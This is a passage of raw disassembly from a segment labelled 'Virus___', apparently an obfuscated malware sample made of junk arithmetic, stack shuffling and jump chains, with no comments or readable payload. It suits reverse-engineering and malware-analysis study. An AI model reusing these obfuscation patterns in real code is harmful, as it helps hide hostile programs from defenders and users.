		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55884C
; ---------------------------------------------------------------------------


loc_557F3B:				; CODE XREF: Virus___:0055B5E0j
		pop	eax
		jmp	loc_55A1C8
; ---------------------------------------------------------------------------


loc_557F41:				; CODE XREF: Virus___:00553B4Dj
		push	ecx
		push	8A8578Eh
		jmp	loc_55DBF9
; ---------------------------------------------------------------------------


loc_557F4C:				; CODE XREF: Virus___:0056020Fj
		add	ax, cx
		sub	ax, 4C18h
		mov	cx, [esp]
		jmp	loc_562ABF
; ---------------------------------------------------------------------------


loc_557F5C:				; CODE XREF: Virus___:0055820Cj
		pop	ebx
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5647F1
; ---------------------------------------------------------------------------


loc_557F6B:				; CODE XREF: Virus___:00553945j
		mov	[esp], edx
		mov	dh, 0F0h
		sub	dh, 0FFh
		sub	esp, 4
		mov	[esp], edx
		neg	byte ptr [esp+1]
		pop	edx
		push	eax
		push	ebx
		jmp	loc_559F8F
; ---------------------------------------------------------------------------


loc_557F85:				; CODE XREF: Virus___:00553E4Cj
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_555E91
; ---------------------------------------------------------------------------


loc_557FA4:				; CODE XREF: Virus___:0055D28Ej
		mov	[esp], esi
		mov	esi, 505C28C1h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55D900
; ---------------------------------------------------------------------------


loc_557FBA:				; CODE XREF: Virus___:005645F4j
		add	bl, 1Eh
		push	small 1B39h
		mov	[esp], cx
		push	edx
		jmp	loc_5602E7
; ---------------------------------------------------------------------------


loc_557FCB:				; CODE XREF: Virus___:005624CBj
		or	ebp, ecx
		pop	ecx
		inc	ebp
		jmp	loc_5502DE
; ---------------------------------------------------------------------------


loc_557FD4:				; CODE XREF: Virus___:0055E392j
		pop	esp
		mov	[esp], ax
		jmp	loc_5577F5
; ---------------------------------------------------------------------------


loc_557FDE:				; CODE XREF: Virus___:00562CF1j
		push	ebp
		mov	ebp, 6CBD778Ah
		push	34BCh
		mov	[esp], esi
		push	edi
		push	5FC26ECFh
		pop	edi
		shr	edi, 1
		sub	edi, 14E62A10h
		shr	edi, 1
		jmp	loc_556125
; ---------------------------------------------------------------------------


loc_558002:				; CODE XREF: Virus___:005527C7j
		sub	edx, 5FC21C5Ch
		jmp	loc_54FEF3
; ---------------------------------------------------------------------------


loc_55800D:				; CODE XREF: Virus___:0054FA41j
		sub	eax, 1
		dec	eax
		push	5BD5h
		mov	[esp], esi
		jmp	loc_561FAE
; ---------------------------------------------------------------------------


loc_558020:				; CODE XREF: Virus___:0055E34Dj
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		jmp	loc_55E8D1
; ---------------------------------------------------------------------------


loc_558035:				; CODE XREF: Virus___:0055A68Bj
		mov	[esp], eax
		jmp	loc_560EED
; ---------------------------------------------------------------------------


loc_55803D:				; CODE XREF: Virus___:005603D9j
		xor	esi, 4DEF0504h
		sub	esi, 0A6DE135Bh
		or	edi, esi
		jmp	loc_5523EF
; ---------------------------------------------------------------------------


loc_558050:				; CODE XREF: Virus___:00552D15j
		xchg	eax, [esp]
		pop	esp
		dec	ebp
		push	62D8h
		mov	[esp], ecx
		mov	ecx, 5D6272F9h
		xor	ebp, ecx
		pop	ecx
		mov	edi, ebp
		jmp	loc_559497
; ---------------------------------------------------------------------------


loc_55806C:				; CODE XREF: Virus___:0055CC1Aj
		shl	edx, 1
		push	7701h
		mov	[esp], eax
		push	ecx
		mov	ecx, 24h
		jmp	loc_560AAF
; ---------------------------------------------------------------------------


loc_558081:				; CODE XREF: Virus___:00552194j
		add	esp, 4
		add	ebx, 4
		jmp	loc_55BE57
; ---------------------------------------------------------------------------


loc_55808F:				; CODE XREF: Virus___:00556A55j
		add	edx, 184414DAh
		sub	ecx, edx
		pop	edx
		add	ecx, 0F7310664h
		mov	edx, ecx
		jmp	loc_55E974
; ---------------------------------------------------------------------------


loc_5580A5:				; CODE XREF: Virus___:0055223Ej
		mov	[esp], ecx
		push	ebx
		push	7FD1EB4h
		pop	ebx
		jmp	loc_5515DA
; ---------------------------------------------------------------------------


loc_5580B4:				; CODE XREF: Virus___:0055BF3Bj
		sub	al, 19h
		jmp	loc_559B46
; ---------------------------------------------------------------------------


loc_5580BB:				; CODE XREF: Virus___:00555B96j
		add	ebx, 4
		push	eax
		mov	eax, 4
		push	ebp
		push	edi
		jmp	loc_559237
; ---------------------------------------------------------------------------


loc_5580CE:				; CODE XREF: Virus___:00564917j
		shr	esi, 4
		add	esi, 1BAB7CF8h
		xor	esi, 22E2006Ah
		xor	eax, esi
		pop	esi
		mov	esi, eax
		pop	eax
		mov	ebx, esi
		pop	esi
		add	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_55638B
; ---------------------------------------------------------------------------


loc_5580F3:				; CODE XREF: Virus___:005629E4j
		pop	ecx
		sub	edi, 224C105Bh
		add	edi, 1C320C1Bh
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_55937E
; ---------------------------------------------------------------------------


loc_558127:				; CODE XREF: Virus___:00553777j
		push	edi
		jmp	loc_56141C
; ---------------------------------------------------------------------------


loc_55812D:				; CODE XREF: Virus___:0055C450j
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_554628
; ---------------------------------------------------------------------------


loc_558142:				; CODE XREF: Virus___:005606C1j
		push	edx
		mov	dl, 6Eh
		jmp	loc_55D217
; ---------------------------------------------------------------------------


loc_55814A:				; CODE XREF: Virus___:005588BFj
		mov	bx, [esp]
		jmp	loc_5555D5
; ---------------------------------------------------------------------------


loc_558153:				; CODE XREF: Virus___:0055D40Fj
		pop	ecx
		mov	dx, [esp]
		jmp	loc_55D507
; ---------------------------------------------------------------------------


loc_55815D:				; CODE XREF: Virus___:005624B8j
		xor	ch, 6
		sub	ch, 0BCh
		add	al, ch
		jmp	loc_5640D9
; ---------------------------------------------------------------------------


loc_55816A:				; CODE XREF: Virus___:00561D47j
		pop	eax
		pop	edx
		or	ebx, esi
		mov	esi, [esp]
		jmp	loc_553D94
; ---------------------------------------------------------------------------


loc_558176:				; CODE XREF: Virus___:0055E6F9j
		pop	ecx
		add	edx, ebp
		jmp	loc_5626D6
; ---------------------------------------------------------------------------


loc_55817E:				; CODE XREF: Virus___:005560FFj
		xchg	edi, [esp]
		not	edi
		jmp	loc_559CE4
; ---------------------------------------------------------------------------


loc_558188:				; CODE XREF: Virus___:0055C4C5j
		mov	edi, 0ECC366Ch
		dec	edi
		jmp	loc_550F5E
; ---------------------------------------------------------------------------


loc_558193:				; CODE XREF: Virus___:00560697j
		push	7982h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		jmp	loc_55C8BE
; ---------------------------------------------------------------------------


loc_5581A9:				; CODE XREF: Virus___:0055F29Fj
		mov	eax, [esp]
		jmp	loc_55BF7D
; ---------------------------------------------------------------------------


loc_5581B1:				; CODE XREF: Virus___:0055742Aj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5613E5
; ---------------------------------------------------------------------------


loc_5581C5:				; CODE XREF: Virus___:00558801j
		add	esp, 4
		push	ecx
		jmp	loc_55DEDA
; ---------------------------------------------------------------------------


loc_5581D1:				; CODE XREF: Virus___:0055C2FCj
		add	ecx, 4
		jmp	loc_5517BE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55C158
; ---------------------------------------------------------------------------


loc_5581E7:				; CODE XREF: Virus___:0055C2F6j
		mov	dl, bh
		pop	ebx
		pop	ecx
		shr	dl, 7
		shr	dl, 7
		shr	dl, 7
		add	dl, 82h
		push	small 3B68h
		mov	[esp], bx
		mov	bh, 0DCh
		add	al, 0Ch
		sub	al, bh
		jmp	loc_55E76E
; ---------------------------------------------------------------------------


loc_55820A:				; CODE XREF: Virus___:00560633j
		push	ebx
		pop	edx
		jmp	loc_557F5C
; ---------------------------------------------------------------------------


loc_558211:				; CODE XREF: Virus___:0055F0A4j
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 8
		push	ecx
		push	eax
		mov	eax, 5217185h
		mov	ecx, 5217184h
		jmp	loc_55D52C
; ---------------------------------------------------------------------------


loc_558232:				; CODE XREF: Virus___:0055EC67j
		pop	ecx
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		sub	ebp, 90FD5484h
		add	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 2
		add	edi, ebx
		jmp	loc_55EF5F
; ---------------------------------------------------------------------------


loc_55824E:				; CODE XREF: Virus___:00555C26j
		push	edi
		push	ebx
		push	eax
		push	29863026h
		pop	eax
		neg	eax
		add	eax, 86325E1Dh
		jmp	loc_55014C
; ---------------------------------------------------------------------------


loc_558263:				; CODE XREF: Virus___:00558335j
		mov	esp, [esp]
		jmp	loc_561451
; ---------------------------------------------------------------------------


loc_55826B:				; CODE XREF: Virus___:0056288Ej
		add	ebx, ebp
		sub	ebx, 75A07B72h
		pop	ebp
		push	ecx
		mov	ecx, 7A152561h
		push	edi
		mov	edi, 2BF36EE1h
		or	ecx, edi
		pop	edi
		push	ebp
		jmp	loc_556716
; ---------------------------------------------------------------------------


loc_558289:				; CODE XREF: Virus___:00557013j
		add	esp, 4
		add	esp, 4
		sub	[edi+24h], esi
		mov	esi, [esp]
		add	esp, 4


loc_558298:				; CODE XREF: Virus___:00556879j
		push	ebx
		jmp	loc_55E6BC
; ---------------------------------------------------------------------------


loc_55829E:				; CODE XREF: Virus___:0055BC79j
		xor	cx, dx
		xor	dx, cx
		xchg	di, cx
		not	di
		xchg	di, cx
		xchg	cx, dx
		push	dx
		push	small word ptr [esp+2]
		pop	dx
		pop	small word ptr [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5582C2:				; CODE XREF: Virus___:00551DBBj
		mov	cl, 0CBh
		neg	cl
		xor	cl, 8Eh
		sub	al, 0F1h
		jmp	loc_56076D
; ---------------------------------------------------------------------------


loc_5582D0:				; CODE XREF: Virus___:00550FB2j
		mov	[esp], ebx
		jmp	loc_555AD5
; ---------------------------------------------------------------------------


loc_5582D8:				; CODE XREF: Virus___:00560589j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55E32A
; ---------------------------------------------------------------------------


loc_5582F2:				; CODE XREF: Virus___:00556632j
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_55A737
; ---------------------------------------------------------------------------


loc_5582FE:				; CODE XREF: Virus___:00554B26j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_553A61
; ---------------------------------------------------------------------------


loc_55830F:				; CODE XREF: Virus___:0055169Bj
		sub	ebx, 63594842h
		pop	edi
		push	esi
		push	ebx
		xor	dword ptr [esp], 13320371h
		pop	esi
		xor	esi, 13320371h
		mov	ecx, esi
		pop	esi
		pop	ebx
		add	edx, ecx
		pop	ecx
		jmp	loc_5549E5
; ---------------------------------------------------------------------------


loc_558332:				; CODE XREF: Virus___:0055EC4Bj
		pop	dword ptr [esp]
		jmp	loc_558263
; ---------------------------------------------------------------------------


loc_55833A:				; CODE XREF: Virus___:0055BD41j
		mov	bh, cl
		pop	ecx
		jmp	loc_562BF7
; ---------------------------------------------------------------------------


loc_558342:				; CODE XREF: Virus___:005553CDj
		xor	edi, 635E05F6h
		add	edi, 438C10B6h
		xor	edi, 7024218h
		xor	[esp+4], edi
		pop	edi
		jmp	loc_553238
; ---------------------------------------------------------------------------


loc_55835E:				; CODE XREF: Virus___:00563FDAj
		sub	esi, ecx
		pop	ecx
		jmp	loc_54FB3D
; ---------------------------------------------------------------------------


loc_558366:				; CODE XREF: Virus___:005537C9j
		add	ebx, 4
		push	ebp
		jmp	loc_55E05C
; ---------------------------------------------------------------------------


loc_558372:				; CODE XREF: Virus___:00564A3Cj
		sub	esi, 0FA298960h
		add	edi, esi
		pop	esi
		mov	edx, edi
		pop	edi
		jmp	loc_55A5D6
; ---------------------------------------------------------------------------


loc_558383:				; CODE XREF: Virus___:00559C00j
		mov	edx, 610C21E8h
		xor	edx, 4FF56F6Dh
		shl	edx, 5
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4B6203F9h
		neg	ebp
		push	ecx
		mov	ecx, 23140FD0h
		and	ebp, ecx
		pop	ecx
		push	6847h
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		xor	ebp, 0C2235Bh
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 17C66875h
		add	edi, 73A6272Fh
		jmp	loc_561AD8
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_557E6B
; ---------------------------------------------------------------------------


loc_5583DD:				; CODE XREF: Virus___:0054FA84j
		mov	ebp, 27B53C31h
		add	esi, ebp
		pop	ebp
		add	esi, ebx
		jmp	loc_556D14
; ---------------------------------------------------------------------------


loc_5583EC:				; CODE XREF: Virus___:0055F15Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	1463h
		jmp	loc_5591E5
; ---------------------------------------------------------------------------


loc_558401:				; CODE XREF: Virus___:0055ED05j
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		not	ebp
		push	1147h
		mov	[esp], eax
		mov	eax, 723C32D4h
		xor	ebp, eax
		jmp	loc_55B002
; ---------------------------------------------------------------------------


loc_55841F:				; CODE XREF: Virus___:00562C8Bj
		push	6CBAh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55FC38
; ---------------------------------------------------------------------------


loc_558437:				; CODE XREF: Virus___:0054FDC7j
		add	al, 5Dh
		add	dh, al
		pop	eax
		sub	ch, 90h
		sub	ch, 2Fh
		jmp	loc_55910D
; ---------------------------------------------------------------------------


loc_558447:				; CODE XREF: Virus___:00556624j
		mov	esi, esp
		add	esi, 4
		jmp	loc_5500D9
; ---------------------------------------------------------------------------


loc_558454:				; CODE XREF: Virus___:00555B78j
		mov	[esp], esi
		mov	esi, 34220898h
		jmp	loc_5576C0
; ---------------------------------------------------------------------------


loc_558461:				; CODE XREF: Virus___:0055BE07j
		push	58150CB8h
		pop	esi
		and	esi, 16CA77FEh
		or	esi, 6F915B63h
		jmp	loc_556946
; ---------------------------------------------------------------------------


loc_558478:				; CODE XREF: Virus___:0055A232j
		add	esi, 0D32F87DEh
		and	ecx, esi
		jmp	loc_55BE6D
; ---------------------------------------------------------------------------


loc_558485:				; CODE XREF: Virus___:0054FA8Bj
		xor	ah, 0B1h
		xor	bl, ah
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_553A3D
; ---------------------------------------------------------------------------


loc_558499:				; CODE XREF: Virus___:005627D1j
		add	ebp, ebx
		pop	ebx
		neg	ebp
		jmp	loc_552809
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55D942
; ---------------------------------------------------------------------------


loc_5584AC:				; CODE XREF: Virus___:00564042j
		inc	edi
		jmp	loc_555BE3
; ---------------------------------------------------------------------------


loc_5584B2:				; CODE XREF: Virus___:00552BEAj
		shl	al, 5
		or	al, 0F9h
		dec	al
		jmp	loc_561168
; ---------------------------------------------------------------------------


loc_5584BE:				; CODE XREF: Virus___:00556915j
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_55DB70
; ---------------------------------------------------------------------------


loc_5584CF:				; CODE XREF: Virus___:00562915j
		mov	edi, esp
		jmp	loc_5512EE
; ---------------------------------------------------------------------------


loc_5584D6:				; CODE XREF: Virus___:005609AEj
		mov	ah, 0F4h
		add	bl, ah
		pop	ax
		push	eax
		jmp	loc_55C6B8
; ---------------------------------------------------------------------------


loc_5584E2:				; CODE XREF: Virus___:005626C0j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	edx, 1DE56273h
		xor	edx, ecx
		pop	ecx
		jmp	loc_55144C
; ---------------------------------------------------------------------------


loc_5584F8:				; CODE XREF: Virus___:00556596j
		pop	ecx
		jmp	loc_55E36C
; ---------------------------------------------------------------------------


loc_5584FE:				; CODE XREF: Virus___:0054FFD8j
		sub	esp, 4
		mov	[esp], edx
		add	dword ptr [esp], 2744E56h
		pop	eax
		sub	eax, 2744E56h
		mov	edx, [esp]
		push	ebx
		push	2B30h
		mov	[esp], esp
		jmp	loc_55F6CD
; ---------------------------------------------------------------------------


loc_558525:				; CODE XREF: Virus___:00559A6Aj
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebp
		mov	ebp, 7D76785h
		inc	ebp
		jmp	loc_5609B3
; ---------------------------------------------------------------------------


loc_558544:				; CODE XREF: Virus___:0055CAA1j
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, ecx
		xor	ecx, 67ED7D43h
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_555CA4
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		jmp	loc_558F5E
; ---------------------------------------------------------------------------


loc_558565:				; CODE XREF: Virus___:00554C14j
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 5D2D79F9h
		add	ebx, 18E20615h
		add	ebx, ebp
		push	esi
		jmp	loc_55981B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55F942
; ---------------------------------------------------------------------------


loc_55859A:				; CODE XREF: Virus___:0055CBDAj
		xor	ebp, 240C0579h
		xor	ebp, 7E820B8Fh
		jmp	loc_557A31
; ---------------------------------------------------------------------------


loc_5585AB:				; CODE XREF: Virus___:00554E3Dj
		push	edi
		jmp	loc_55B65D
; ---------------------------------------------------------------------------


loc_5585B1:				; CODE XREF: Virus___:0055492Bj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		xor	eax, esi
		xor	esi, eax
		jmp	loc_552678
; ---------------------------------------------------------------------------


loc_5585D3:				; CODE XREF: Virus___:0055D9FDj
		pop	ebp
		jmp	loc_55B0A0
; ---------------------------------------------------------------------------


loc_5585D9:				; CODE XREF: Virus___:00553DA2j
		mov	ebx, [esp]
		jmp	loc_5600C0
; ---------------------------------------------------------------------------


loc_5585E1:				; CODE XREF: Virus___:0055282Aj
		push	dword ptr [esp]
		pop	eax
		push	44A4h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ecx
		jmp	loc_55D6F4
; ---------------------------------------------------------------------------


loc_5585FB:				; CODE XREF: Virus___:00560087j
		pop	ebx
		push	5ABEh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 78A87755h
		sub	edx, 1C342363h
		xor	edx, 77FA06B3h
		add	edx, 0E6CAEFF9h
		sub	edx, 35131D29h
		sub	edx, 0DD46280Fh
		mov	edi, edx
		pop	edx
		add	esi, edi
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_561B74
; ---------------------------------------------------------------------------


loc_55864E:				; CODE XREF: Virus___:0055D178j
		mov	edi, [esp]
		jmp	loc_55B829
; ---------------------------------------------------------------------------


loc_558656:				; CODE XREF: Virus___:0054F88Fj
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5611F9
; ---------------------------------------------------------------------------


loc_55866D:				; CODE XREF: Virus___:00550C47j
		add	edi, ecx
		jmp	loc_557DE0
; ---------------------------------------------------------------------------


loc_558674:				; CODE XREF: Virus___:00555B27j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55CE63
; ---------------------------------------------------------------------------


loc_558685:				; CODE XREF: Virus___:00552F04j
		push	ebx
		jmp	loc_55B2CB
; ---------------------------------------------------------------------------


loc_55868B:				; CODE XREF: Virus___:005560BEj
		neg	bl
		xor	bl, 72h
		not	bl
		sub	bl, 7Eh
		sub	bl, 78h
		xor	bl, 0CCh
		xor	al, bl
		pop	ebx
		jmp	loc_564B15
; ---------------------------------------------------------------------------


loc_5586A3:				; CODE XREF: Virus___:005623E2j
		add	esp, 4
		jmp	loc_564A41
; ---------------------------------------------------------------------------


loc_5586AE:				; CODE XREF: Virus___:00558756j
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_5510E7
; ---------------------------------------------------------------------------


loc_5586B9:				; CODE XREF: Virus___:00550C9Fj
		not	byte ptr [esp+1]
		pop	cx
		jmp	loc_55EC30
; ---------------------------------------------------------------------------


loc_5586C4:				; CODE XREF: Virus___:0056241Dj
		pop	eax
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55CFDE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	3353h
		mov	[esp], edi
		push	ecx
		push	eax
		jmp	loc_5572EE
; ---------------------------------------------------------------------------


loc_5586FE:				; CODE XREF: Virus___:00556221j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_563E6A
; ---------------------------------------------------------------------------


loc_55870A:				; CODE XREF: Virus___:0055F8C0j
		pop	eax
		push	eax
		mov	eax, 4
		sub	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_563465
; ---------------------------------------------------------------------------


loc_558723:				; CODE XREF: Virus___:005634D7j
		push	ecx
		jmp	loc_560D41
; ---------------------------------------------------------------------------


loc_558729:				; CODE XREF: Virus___:00553FE3j
		sub	eax, edi
		pop	edi
		jmp	loc_562FBD
; ---------------------------------------------------------------------------


loc_558731:				; CODE XREF: Virus___:0055788Bj
		add	esp, 4
		add	dword ptr [esp+4], 23FA7440h
		sub	[esp+4], edi
		push	5C7Fh
		mov	[esp], eax
		mov	eax, 23FA7440h
		sub	[esp+8], eax
		pop	eax
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5586AE
; ---------------------------------------------------------------------------


loc_55875B:				; CODE XREF: Virus___:0055B593j
		add	ecx, 7949739Eh
		pop	ebp
		push	ecx
		jmp	loc_55499C
; ---------------------------------------------------------------------------


loc_558768:				; CODE XREF: Virus___:00554968j
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		push	edx
		mov	edx, 64800296h
		add	ebp, edx
		pop	edx
		add	ebp, 9C008FCh
		sub	ebp, esi
		sub	ebp, 9C008FCh
		sub	ebp, 64800296h
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 1928B719h
		xor	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, 0B98424Ah
		sub	eax, edx
		jmp	loc_54FD46
; ---------------------------------------------------------------------------


loc_5587C4:				; CODE XREF: Virus___:005629A3j
		shl	dl, 6
		xor	dl, 1
		push	ebx
		mov	bl, 0FEh
		jmp	loc_552AFA
; ---------------------------------------------------------------------------


loc_5587D2:				; CODE XREF: Virus___:00562307j
		inc	ebp
		shl	ebp, 7
		not	ebp
		sub	ebp, 3DFB0094h
		jmp	loc_55137B
; ---------------------------------------------------------------------------


loc_5587E3:				; CODE XREF: Virus___:0055E042j
		sub	ebx, 5E1E00F4h
		dec	ebx
		not	ebx
		jmp	loc_55B867
; ---------------------------------------------------------------------------


loc_5587F1:				; CODE XREF: Virus___:00550E02j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_555523
; ---------------------------------------------------------------------------


loc_5587FC:				; CODE XREF: Virus___:0055E1A9j
		sub	edx, eax
		mov	eax, [esp]
		jmp	loc_5581C5
; ---------------------------------------------------------------------------


loc_558806:				; CODE XREF: Virus___:00554F3Aj
		pop	dword ptr [esp]
		jmp	loc_55A519
; ---------------------------------------------------------------------------


loc_55880E:				; CODE XREF: Virus___:005615D8j
		shr	ebp, 6
		jmp	loc_54F83F
; ---------------------------------------------------------------------------


loc_558816:				; CODE XREF: Virus___:00553E6Dj
		neg	esi
		jmp	loc_55CBAB
; ---------------------------------------------------------------------------


loc_55881D:				; CODE XREF: Virus___:00560E51j
		mov	edx, ebx
		pop	ebx
		jmp	loc_555029
; ---------------------------------------------------------------------------


loc_558825:				; CODE XREF: Virus___:005546D3j
		mov	bl, dh
		inc	bl
		jmp	loc_552BE4
; ---------------------------------------------------------------------------


loc_55882E:				; CODE XREF: Virus___:0056460Cj
		sub	ecx, 68E75DA3h
		mov	eax, ecx
		jmp	loc_54FFCF
; ---------------------------------------------------------------------------


loc_55883B:				; CODE XREF: Virus___:00552F38j
		push	ecx
		jmp	loc_55B031
; ---------------------------------------------------------------------------


loc_558841:				; CODE XREF: Virus___:00551381j
		sub	ebp, 0A0A2966h
		jmp	loc_55E156
; ---------------------------------------------------------------------------


loc_55884C:				; CODE XREF: Virus___:00557F36j
		push	edi
		mov	edi, 4
		jmp	loc_557310
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], dx
		push	small word ptr [esp+2]
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_559DC9
; ---------------------------------------------------------------------------


loc_558886:				; CODE XREF: Virus___:00563B96j
		inc	esi
		neg	esi
		neg	esi
		shl	esi, 8
		xor	esi, 0F39B5F4Dh
		push	edx
		mov	edx, esi
		mov	eax, edx
		jmp	loc_55FEBE
; ---------------------------------------------------------------------------


loc_55889E:				; CODE XREF: Virus___:0056161Bj
		mov	[esp], ecx
		jmp	loc_550408
; ---------------------------------------------------------------------------


loc_5588A6:				; CODE XREF: Virus___:00554817j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		mov	bl, 3Bh
		add	al, bl
		jmp	loc_55814A
; ---------------------------------------------------------------------------


loc_5588C4:				; CODE XREF: Virus___:0055170Fj
		add	esp, 4
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5627AD
; ---------------------------------------------------------------------------


loc_5588DB:				; CODE XREF: Virus___:0055DDF4j
		add	edi, 62A3B07Ch
		xor	ecx, edi
		pop	edi
		push	edx
		mov	edx, 1A7E3387h
		add	eax, edx
		pop	edx
		sub	eax, 2E0043B9h
		sub	eax, ecx
		add	eax, 2E0043B9h
		push	ebp
		mov	ebp, 6B2F0677h
		shl	ebp, 8
		add	ebp, 0EB77BC87h
		jmp	loc_560CF5
; ---------------------------------------------------------------------------


loc_55890D:				; CODE XREF: Virus___:00563537j
		and	[edi+1Ch], esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55AB14
; ---------------------------------------------------------------------------


loc_55891B:				; CODE XREF: Virus___:00550CEDj
		xor	esi, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_55E711
		push	59B5h
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_55D25E
; ---------------------------------------------------------------------------


loc_558943:				; CODE XREF: Virus___:00563118j
		or	ecx, 6942DFh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 88D0497h
		jmp	loc_5508B0
; ---------------------------------------------------------------------------


loc_55895C:				; CODE XREF: Virus___:0054FD91j
		add	esi, edx
		jmp	loc_55FC40
; ---------------------------------------------------------------------------


loc_558963:				; CODE XREF: Virus___:0055E6E0j
		pop	edi
		dec	edi
		jmp	loc_550137
; ---------------------------------------------------------------------------


loc_55896A:				; CODE XREF: Virus___:00553F67j
		mov	ebx, 7DF829FFh
		shr	ebx, 7
		dec	ebx
		shl	ebx, 2
		neg	ebx
		or	ebx, 1F4B3D05h
		sub	ebx, 0C33BD58Ah
		mov	eax, ebx
		pop	ebx
		push	eax
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_55931C
; ---------------------------------------------------------------------------


loc_558992:				; CODE XREF: Virus___:0055AEF1j
		pop	ebx
		jmp	loc_562C6E
; ---------------------------------------------------------------------------


loc_558998:				; CODE XREF: Virus___:005613F8j
		xchg	al, ch
		xor	ch, 6
		shr	ch, 2
		jmp	loc_564AA3
; ---------------------------------------------------------------------------


loc_5589A5:				; CODE XREF: Virus___:0055BB2Cj
		mov	bx, [esp]
		push	4D51h
		mov	[esp], ecx
		push	6B72h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	7829h
		mov	[esp], eax
		push	ebx
		mov	ebx, 2
		mov	eax, ebx
		pop	ebx
